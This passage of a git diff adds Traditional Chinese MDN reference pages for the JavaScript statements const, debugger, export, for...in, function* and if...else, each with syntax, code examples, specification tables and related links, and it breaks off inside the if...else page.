+MY_FAV = 20;
+
+// MY_FAV 是 7
+console.log('我喜歡的數字是: ' + MY_FAV);
+
+// 嘗試重複宣告同名的常數，將會發生錯誤 -  Uncaught SyntaxError: Identifier 'MY_FAV' has already been declared
+const MY_FAV = 20;
+
+// MY_FAV 這個名稱已經保留給上面的常數, 所以這裡也會錯誤。
+var MY_FAV = 20;
+
+// 這式子也會錯誤
+let MY_FAV = 20;
+
+// 很重要，請注意區塊可視範圍的特性。
+if (MY_FAV === 7) {
+    // 以下式子沒有問題，並且會建立一個名叫 MY_FAV 的具有區塊可視範圍的變數。
+    // (等同於使用 let 來宣告一個具有區塊可視範圍的非常數變數。)
+    let MY_FAV = 20;
+
+    // MY_FAV 現在變成 20
+    console.log('我喜歡的數字是：' + MY_FAV);
+
+    // 這會將變數懸掛於全域，而導致錯誤。(與常數同名)
+    var MY_FAV = 20;
+}
+
+// MY_FAV 仍然是 7
+console.log('我喜歡的數字是：' + MY_FAV);
+
+// 發生錯誤 - Uncaught SyntaxError: Missing initializer in const declaration
+const FOO;
+
+// 常數的值可以是一個物件
+const MY_OBJECT = {'key': 'value'};
+
+// 嘗試覆寫該物件將會發生錯誤 - Uncaught TypeError: Assignment to constant variable.
+MY_OBJECT = {'OTHER_KEY': 'value'};
+
+// 然而, 物件的屬性並沒有被保護,
+// 所以，以下敘述式沒有問題。
+MY_OBJECT.key = 'otherValue'; // Use Object.freeze() to make object immutable
+
+// 對陣列來說也是一樣
+const MY_ARRAY = [];
+// 可以把項目加到陣列中。
+MY_ARRAY.push('A'); // ["A"]
+// 然而，對這個變數指定新陣列，將會發生錯誤 - Uncaught TypeError: Assignment to constant variable.
+MY_ARRAY = ['B'];</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>初始化定義.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>沒有改變.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div class="hidden">本頁面中的相容性表格是從結構性資料產生. 如果您像要提供資料，請先查看 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 並寄給我們取得的請求。</div>
+
+<p>{{Compat("javascript.statements.const")}}</p>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/var"><code>var</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Constants">Constants in the JavaScript Guide</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/debugger/index.html b/files/zh-tw/web/javascript/reference/statements/debugger/index.html
new file mode 100644
index 0000000000..79a65a398e
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/debugger/index.html
@@ -0,0 +1,75 @@
+---
+title: debugger
+slug: Web/JavaScript/Reference/Statements/debugger
+translation_of: Web/JavaScript/Reference/Statements/debugger
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>debugger 的宣告</strong>會執行可用的除錯功能，例如設定斷點。如果沒有可用的除錯功能，這個宣告沒有任何作用。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>debugger;</code></pre>
+
+<h2 id="示例">示例</h2>
+
+<p>以下示例示範了插入 debugger 宣告的程式碼，它會在函式被呼叫、而且有除錯器的時候執行除錯器。</p>
+
+<pre class="brush:js">function potentiallyBuggyCode() {
+    debugger;
+    // 執行並驗證一些潛在的問題、或是單步執行之類的。
+}</pre>
+
+<p>呼叫除錯器時，程式會在 debugger 宣告處暫停執行。它有點像是程式碼的斷點。</p>
+
+<p><a href="https://mdn.mozillademos.org/files/6963/Screen Shot 2014-02-07 at 9.14.35 AM.png"><img alt="Paused at a debugger statement." src="https://mdn.mozillademos.org/files/6963/Screen%20Shot%202014-02-07%20at%209.14.35%20AM.png" style="height: 371px; width: 700px;"></a></p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-debugger-statement', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.15', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>初期定義</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-7.5.3', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-7.4.3', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>只作為保留字而提到</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.statements.debugger")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Debugging_JavaScript">JavaScript 除錯</a></li>
+ <li><a href="/zh-TW/docs/Tools/Debugger">Firefox 開發工具的的除錯器</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/export/index.html b/files/zh-tw/web/javascript/reference/statements/export/index.html
new file mode 100644
index 0000000000..195d4bed7f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/export/index.html
@@ -0,0 +1,165 @@
+---
+title: export
+slug: Web/JavaScript/Reference/Statements/export
+translation_of: Web/JavaScript/Reference/Statements/export
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><span class="seoSummary">用 <strong>export</strong> 可以指派函式、物件或變數，透過 {{jsxref("Statements/import", "import")}} 宣告給外部檔案引用。</span></p>
+
+<p>導出的模塊都會處於{{jsxref("Strict_mode","嚴謹模式")}}，無論是否有所宣告。導出宣告無法使用嵌入式腳本（embedded script）。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> };
+export { <var>variable1</var> as <var>name1</var>, <var>variable2</var> as <var>name2</var>, …, <var>nameN</var> };
+// 用 var, const 也通
+export let <var>name1</var>, <var>name2</var>, …, <var>nameN</var>;
+export let <var>name1</var> = …, <var>name2</var> = …, …, <var>nameN</var>;
+
+// 底下的 function 用 class, function* 也可以
+export default <em>expression</em>;
+export default function (…) { … }
+export default function name1(…) { … }
+
+export { <var>name1</var> as default, … };
+export * from …;
+export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> } from …;
+export { <var>import1</var> as <var>name1</var>, <var>import2</var> as <var>name2</var>, …, <var>nameN</var> } from …;</pre>
+
+<dl>
+ <dt><code>nameN</code></dt>
+ <dd>外部檔案使用 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a></code> 時，用於辨認的名稱。</dd>
+</dl>
+
+<h2 id="使用說明">使用說明</h2>
+
+<p>有兩種使用 export 的方式，<strong>named</strong> 與 <strong>default</strong>。每個模組中可以有多個 named exports, 但只能有一個 default export。每種 export 都對應到一個先前說的語法。</p>
+
+<ul>
+ <li>Named exports:
+  <pre class="brush: js">// 前面已經宣告的函式可以這樣輸出
+export { myFunction };
+
+// 輸出常數
+export const foo = Math.sqrt(2); </pre>
+ </li>
+ <li>預設 export （一個 js 檔案只能有一個）:
+  <pre class="brush: js">export default function() {}
+// 或是 '<em>export default class {}</em>'
+// 結尾不用分號</pre>
+ </li>
+</ul>
+
+<p>Named exports 在輸出多個值的時候很有用，在 import 的時候, 會強制根據使用相同的物件名稱.</p>
+
+<p>但如果是 default export 則可以用任意的名字輸出.</p>
+
+<pre class="syntaxbox">export default k = 12; // 在test.js中這樣子寫
+
+import m from './test' // 注意這邊因為 export default 的關係, 可以用任意名字 import 原先的k出來
+
+console.log(m);        // will log 12
+</pre>
+
+<p>以下語法並不會導出所有被引入的模塊：</p>
+
+<pre>export * from …;</pre>
+
+<p>你必須額外引入它的預設輸出，再導出之：</p>
+
+<pre>import mod from "mod";
+export default mod;</pre>
+
+<h2 id="使用範例">使用範例</h2>
+
+<h3 id="輸出命名過的變數">輸出命名過的變數</h3>
+
+<p>模塊內可以這樣用：</p>
+
+<pre class="brush: js">// module "my-module.js"
+function cube(x) {
+  return x * x * x;
+}
+const foo = Math.PI + Math.SQRT2;
+var graph = {
+    options:{
+        color:'white',
+        thickness:'2px'
+    },
+    draw: function(){
+        console.log('From graph draw function');
+    }
+}
+export { cube, foo, graph };
+</pre>
+
+<p>在另一個腳本就會變成這樣：</p>
+
+<pre class="brush: js">//You should use this script in html with the type module ,
+//eg ''&lt;script type="module" src="demo.js"&gt;&lt;/script&gt;",
+//open the page in a httpserver,otherwise there will be a CORS policy error.
+//script demo.js
+
+import { cube, foo, graph } from 'my-module';
+graph.options = {
+    color:'blue',
+    thickness:'3px'
+};
+graph.draw();
+console.log(cube(3)); // 27
+console.log(foo);    // 4.555806215962888</pre>
+
+<h3 id="使用預設輸出">使用預設輸出</h3>
+
+<p>如果我們要輸出單獨的函式、物件、class 或當做 fallback 值來輸出的話，就可以用預設輸出：</p>
+
+<pre class="brush: js">// module "my-module.js"
+export default function cube(x) {
+  return x * x * x;
+}
+</pre>
+
+<p>外部檔案的 import 用法：</p>
+
+<pre class="brush: js">import cube from 'my-module';
+console.log(cube(3)); // 27
+</pre>
+
+<p>Note 注意預設輸出不能使用 var, let , const。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>初始定義。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Statements/import", "import")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li><a href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/for...in/index.html b/files/zh-tw/web/javascript/reference/statements/for...in/index.html
new file mode 100644
index 0000000000..8877c28d79
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/for...in/index.html
@@ -0,0 +1,116 @@
+---
+title: for...in
+slug: Web/JavaScript/Reference/Statements/for...in
+translation_of: Web/JavaScript/Reference/Statements/for...in
+---
+<p>{{jsSidebar("Statements")}}</p>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>迭代物件的可列舉屬性。對每個相異屬性，執行陳述式。</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th colspan="2">Statement</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Implemented in:</td>
+   <td>JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>ECMA Version:</td>
+   <td>ECMA-262</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">for (<var>變數</var> in <var>物件</var>) {<em>...</em>
+}</pre>
+
+<h3 id="Parameters" name="Parameters">參數</h3>
+
+<dl>
+ <dt><code>變數</code></dt>
+ <dd>A different property name is assigned to <em>variable</em> on each iteration.</dd>
+ <dt><code>物件</code></dt>
+ <dd>Object whose enumerable properties are iterated.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Description</h2>
+
+<p><code>for...in</code> 迴圈只迭代可列舉屬性。由內建建構式(如：Array、Object) 製造的物件，從 <code>Object.prototype</code> 和 <code>String.prototype</code> 繼承了不可列舉屬性，如： <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code>的<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/indexOf">indexOf</a></code> 方法，或 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object">Object</a></code>的 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/toString">toString</a></code> 方法。 迴圈將迭代全部可列舉屬性，包括了物件自身的和物件繼承自它的建構式之原型的可列舉屬性。(原型鏈上較接近物件的屬性覆蓋原型的屬性)</p>
+
+<p>A <code>for...in</code> loop iterates over the properties of an object in an arbitrary order (see the <a href="/en-US/docs/JavaScript/Reference/Operators/delete#Cross-browser_issues">delete operator</a> for more on why one cannot depend on the seeming orderliness of iteration, at least in a cross-browser setting). If a property is modified in one iteration and then visited at a later time, its value in the loop is its value at that later time. A property that is deleted before it has been visited will not be visited later. Properties added to the object over which iteration is occurring may either be visited or omitted from iteration. In general it is best not to add, modify or remove properties from the object during iteration, other than the property currently being visited. There is no guarantee whether or not an added property will be visited, whether a modified property (other than the current one) will be visited before or after it is modified, or whether a deleted property will be visited before it is deleted.</p>
+
+<div class="note" id="hasOwnPropertyNote">
+<p>If you only want to consider properties attached to the object itself, and not its prototypes, use <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a> or perform a <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a> check (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a> can also be used). Alternatively, if you know there won't be any outside code interference, you can extend built-in prototypes with a check method.</p>
+</div>
+
+<div class="note" id="arrayNote">
+<p><strong><code>for..in</code> 不應該用來迭代一個索引順序很重要的<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array">陣列</a>。</strong> 陣列索引只是以整數命名的可列舉屬性，其他方面等同於一般物件屬性。 無法擔保 <code>for...in</code> 以特定順序傳回索引，並且它將傳回全部可列舉屬性，包括非整數名的，以及繼承而來的可列舉屬性。</p>
+
+<p>因為迭代的順序依賴於 JavaScript 引擎的實作，在不同引擎下，迭代一個陣列可能不是以一個一致的順序存取陣列元素。因此，當你迭代陣列，且該陣列的存取順序很重要時，最好是使用以數值索引的 <a href="/en-US/docs/JavaScript/Reference/Statements/for">for</a> 迴圈 (或 <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">Array.forEach</a> 或非標準 <code><a href="/en-US/docs/JavaScript/Reference/Statements/for...of">for...of</a></code> 迴圈)。</p>
+</div>
+
+<h2 id="Example" name="Example">Examples</h2>
+
+<p>The following function takes as its arguments an object and the object's name. It then iterates over all the object's enumerable properties and returns a string of the property names and their values.</p>
+
+<pre class="brush: js">var o = {a:1, b:2, c:3};
+
+function show_props(obj, objName) {
+  var result = "";
+
+  for (var prop in obj) {
+    result += objName + "." + prop + " = " + obj[prop] + "\n";
+  }
+
+  return result;
+}
+
+alert(show_props(o, "o")); /* alerts (in different lines): o.a = 1 o.b = 2 o.c = 3 */
+</pre>
+
+<p>The following function illustrates the use of hasOwnProperty: the inherited properties are not displayed.</p>
+
+<pre class="brush: js">var triangle = {a:1, b:2, c:3};
+
+function ColoredTriangle() {
+  this.color = "red";
+}
+
+ColoredTriangle.prototype = triangle;
+
+function show_own_props(obj, objName) {
+  var result = "";
+
+  for (var prop in obj) {
+    if( obj.hasOwnProperty( prop ) ) {
+      result += objName + "." + prop + " = " + obj[prop] + "\n";
+    }
+  }
+
+  return result;
+}
+
+o = new ColoredTriangle();
+alert(show_own_props(o, "o")); /* alerts: o.color = red */
+</pre>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Reference/Statements/for...of"><code>for...of</code></a> - a similar statement that iterates over the property <em>values</em></li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Statements/for_each...in"><code>for each...in</code></a> - a similar statement, but iterates over the values of object's properties, rather than the property names themselves (<a href="/en-US/docs/JavaScript/New_in_JavaScript/1.6">New in JavaScript 1.6</a> but deprecated)</li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Statements/for">for</a></li>
+ <li><a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">Generator expressions</a> (uses the <code>for...in</code> syntax)</li>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames"><code>getOwnPropertyNames</code></a></li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a></li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach"><code>Array.prototype.forEach</code></a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/function_star_/index.html b/files/zh-tw/web/javascript/reference/statements/function_star_/index.html
new file mode 100644
index 0000000000..11b1013537
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/function_star_/index.html
@@ -0,0 +1,207 @@
+---
+title: function*
+slug: Web/JavaScript/Reference/Statements/function*
+tags:
+  - ECMAScript 2015
+  - Function
+  - Iterator
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/function*
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code><strong>function*</strong></code> 宣告式（<code>function</code> 關鍵字後面跟著一個星號）定義了一個<em>生成器函式（generator function）</em>，他會回傳一個{{jsxref("Global_Objects/Generator","生成器（Generator）")}}物件。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-functionasterisk.html")}}</div>
+
+
+
+<div class="noinclude">
+<p>你可以透過 {{jsxref("GeneratorFunction")}} 建構式來定義生成器函式。</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>函式名稱。</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>要被傳入函式的引數名稱，一個函式最多可以擁有 255 個引數。</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>statements 構成了函式內容的陳述式。</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>生成器是可以離開後再次進入的函式。在兩次進入之間，生成器的執行狀態（變數綁定狀態）會被儲存。</p>
+
+<p>呼叫生成器函式並不會讓裡面的程式碼立即執行，而是會回傳一個針對該函式的<a href="/zh-TW/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">迭代器（iterator）</a>物件。當呼叫迭代器的 <code>next()</code> 方法時，生成器函式將會執行到遭遇的第一個 {{jsxref("Operators/yield", "yield")}} 運算式，該運算式給定的值將從迭代器中回傳，如果是 {{jsxref("Operators/yield*", "yield*")}} 則會交給另一個生成器函式處理。<code>next()</code> 方法回傳一個物件，該物件有 <code>value</code> 屬性，包含了產生的數值，還有 <code>done</code> 屬性，為布林值，指出該生成器是否產出最後的數值。呼叫 <code>next()</code> 方法如果帶有一個參數，將會讓先前暫停的生成器函式恢復執行，以該參數值取代先前暫停的 <code>yield</code> 陳述式。</p>
+
+<p>生成器中的 <code>return</code> 陳述式被執行時，會讓生成器 <code>done</code> 狀態為真。若有數值被返回的動作帶回，將是放在 <code>value</code> 傳回的。已返回的生成器不會再產生任何數值。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="簡單例子">簡單例子</h3>
+
+<pre class="brush: js">function* idMaker() {
+  var index = 0;
+  while (index &lt; index+1)
+    yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+console.log(gen.next().value); // 3
+// ...</pre>
+
+<h3 id="yield*_的範例">yield* 的範例</h3>
+
+<pre class="brush: js">function* anotherGenerator(i) {
+  yield i + 1;
+  yield i + 2;
+  yield i + 3;
+}
+
+function* generator(i) {
+  yield i;
+  yield* anotherGenerator(i);
+  yield i + 10;
+}
+
+var gen = generator(10);
+
+console.log(gen.next().value); // 10
+console.log(gen.next().value); // 11
+console.log(gen.next().value); // 12
+console.log(gen.next().value); // 13
+console.log(gen.next().value); // 20
+</pre>
+
+<h3 id="傳入引數至生成器">傳入引數至生成器</h3>
+
+<pre class="brush: js">function* logGenerator() {
+  console.log(0);
+  console.log(1, yield);
+  console.log(2, yield);
+  console.log(3, yield);
+}
+
+var gen = logGenerator();
+
+// the first call of next executes from the start of the function
+// until the first yield statement
+gen.next();             // 0
+gen.next('pretzel');    // 1 pretzel
+gen.next('california'); // 2 california
+gen.next('mayonnaise'); // 3 mayonnaise
+</pre>
+
+<h3 id="生成器中的回傳陳述式">生成器中的回傳陳述式</h3>
+
+<pre class="brush: js">function* yieldAndReturn() {
+  yield "Y";
+  return "R";
+  yield "unreachable";
+}
+
+var gen = yieldAndReturn()
+console.log(gen.next()); // { value: "Y", done: false }
+console.log(gen.next()); // { value: "R", done: true }
+console.log(gen.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="生成器無法被建構">生成器無法被建構</h3>
+
+<pre class="brush: js example-bad">function* f() {}
+var obj = new f; // throws "TypeError: f is not a constructor"</pre>
+
+<h3 id="以表達式定義生成器">以表達式定義生成器</h3>
+
+<pre><code>const foo = function* () { yield 10; yield 20; };
+const bar = foo();console.log(bar.next()); // {value: 10, done: false}</code></pre>
+
+<p> </p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#', 'function*')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#', 'function*')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td>Changed that generators should not have [[Construct]] trap and will throw when used with <code>new</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#', 'function*')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.statements.generator_function")}}</p>
+</div>
+
+<h2 id="Firefox_規範註記">Firefox 規範註記</h2>
+
+<h4 id="Generators_and_iterators_in_Firefox_versions_before_26">Generators and iterators in Firefox versions before 26</h4>
+
+<p>Older Firefox versions implement an older version of the generators proposal. In the older version, generators were defined using a regular <code>function</code> keyword (without an asterisk) among other differences. See <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">Legacy generator function </a>for further information.</p>
+
+<h4 id="IteratorResult_object_returned_instead_of_throwing"><code>IteratorResult</code> object returned instead of throwing</h4>
+
+<p>Starting with Gecko 29 {{geckoRelease(29)}}, the completed generator function no longer throws a {{jsxref("TypeError")}} "generator has already finished". Instead, it returns an <code>IteratorResult</code> object like <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}} object</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Iteration_protocols">迭代協議</a></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+ <li>{{jsxref("Function")}} object</li>
+ <li>{{jsxref("Statements/function", "function declaration")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>Other web resources:
+  <ul>
+   <li><a href="http://facebook.github.io/regenerator/">Regenerator</a> an ES2015 generator compiler to ES5</li>
+   <li><a href="http://www.youtube.com/watch?v=qbKWsbJ76-s">Forbes Lindesay: Promises and Generators: control flow utopia -- JSConf EU 2013</a></li>
+   <li><a href="https://github.com/mozilla/task.js">Task.js</a></li>
+   <li><a href="https://github.com/getify/You-Dont-Know-JS/blob/master/async%20%26%20performance/ch4.md#iterating-generators-asynchronously">Iterating generators asynchronously</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/if...else/index.html b/files/zh-tw/web/javascript/reference/statements/if...else/index.html
new file mode 100644
index 0000000000..a9317aa8a6
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/if...else/index.html
@@ -0,0 +1,169 @@
+---
+title: if...else
+slug: Web/JavaScript/Reference/Statements/if...else
+translation_of: Web/JavaScript/Reference/Statements/if...else
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>當條件成立的時候會執行 if 陳述式裡的程式，而不成立時則執行另外一個陳述式。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-ifelse.html")}}</div>
+
+<p class="hidden">這個互動式的源碼被放在 GitHub 的 Repository 裡，如果您想對此互動式範例專案提出貢獻的話，請 clone https://github.com/mdn/interactive-examples 並送出 pull request。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate">if (<em>條件式</em>)
+   <em>statement1</em>
+[else
+   <em>statement2</em>]
+</pre>
+
+<dl>
+ <dt><code>條件式</code></dt>
+ <dd>一個成立或不成立的<a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Expressions">運算式</a>。</dd>
+</dl>
+
+<dl>
+ <dt><code>第一個陳述式(statement1)</code></dt>
+ <dd>如果if中的條件(conditions)為真時執行陳述式(statements)。陳述式可以為任何內容，包含巢狀式(nested)的if陳述。當要執行多行的陳述式(statements)時，使用區塊(block)將所要執行的陳述式包覆。如果不需要執行任何動作時，則不撰寫任何陳述式(empty statement)。</dd>
+ <dt><code>第二個陳述式(statement2)</code></dt>
+</dl>
+
+<dl>
+ <dd>當件不成立時所執行的部份，當else被撰寫時才會被執行。可以是任何的陳述式，包含使用區塊(block)及巢狀(nested)的陳述。</dd>
+ <dd></dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>多重的 <code>if...else</code> 陳述式可以使用 <code>else if</code> 子句來建立一個巢狀結構的句子。要記住，在JavaScript中沒有 <code>elseif</code> (一個單字) 的語法可以用。</p>
+
+<pre class="eval notranslate">if (<em>condition1</em>)
+   <em>statement1</em>
+else if (<em>condition2</em>)
+   <em>statement2</em>
+else if (<em>condition3</em>)
+   <em>statement3</em>
+...
+else
+   <em>statementN</em>
+</pre>
+
+<p>將巢狀結構適當的排版後，我們能更了解其背後運作的邏輯：</p>
+
+<pre class="eval notranslate">if (<em>condition1</em>)
+   <em>statement1</em>
+else
+   if (<em>condition2</em>)
+      <em>statement2</em>
+   else
+      if (<em>condition3</em>)
+...
+</pre>
+
+<p>如果在一個條件式中有多個陳述要執行，可以使用區塊陳述式(<code>{ ... }</code>) 把所有陳述包在一起。 通常來說，無論如何都使用區塊陳述式是個很好的習慣，尤其是當你使用巢狀結構的 <code>if</code> 陳述式時，這會讓人更容易理解你的程式碼。</p>
+
+<pre class="eval notranslate">if (<em>condition</em>) {
+   <em>statements1</em>
+} else {
+   <em>statements2</em>
+}
+</pre>
+
+<p>不要被<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="en/JavaScript/Reference/Global_Objects/Boolean">Boolean</a>物件中，布林值的 <code>true</code> 和 <code>false</code> 給混淆了。任何值只要不是 <code>false</code>、 <code>undefined</code>、 <code>null</code>、 <code>0</code>、 <code>NaN</code>，或者空字串 (<code>""</code>)，並且任何物件，包括其值是 <code>false</code>的布林物件 ，仍然會被條件陳述式視為條件成立。舉例而言：</p>
+
+<pre class="brush: js notranslate">var b = new Boolean(false);
+if (b) // this condition is truthy
+</pre>
+
+<h2 id="實例">實例</h2>
+
+<h3 id="使用_if...else">使用 <code>if...else</code></h3>
+
+<pre class="brush: js notranslate">if (cipher_char === from_char) {
+   result = result + to_char;
+   x++;
+} else {
+   result = result + clear_char;
+}
+</pre>
+
+<h3 id="使用_else_if">使用 <code>else if</code></h3>
+
+<p>要記得JavaScript沒有 <code>elseif</code> 可以使用。不過，你可以使用 <code>else</code> 和 <code>if</code>中間夾著空白的語法：</p>
+
+<pre class="brush: js notranslate">if (x &gt; 5) {
+ /* do the right thing */
+} else if (x &gt; 50) {
+ /* do the right thing */
+} else {
+ /* do the right thing */
+}</pre>
+
+<h3 id="條件表達式中的賦值">條件表達式中的賦值</h3>
+
+<p>建議不要在條件表達式中直接對物件賦值，因為這會使人在瀏覽程式碼時很容易將賦值( assignment )與相等( equality )混淆。舉例而言，不要使用以下寫法：</p>
+
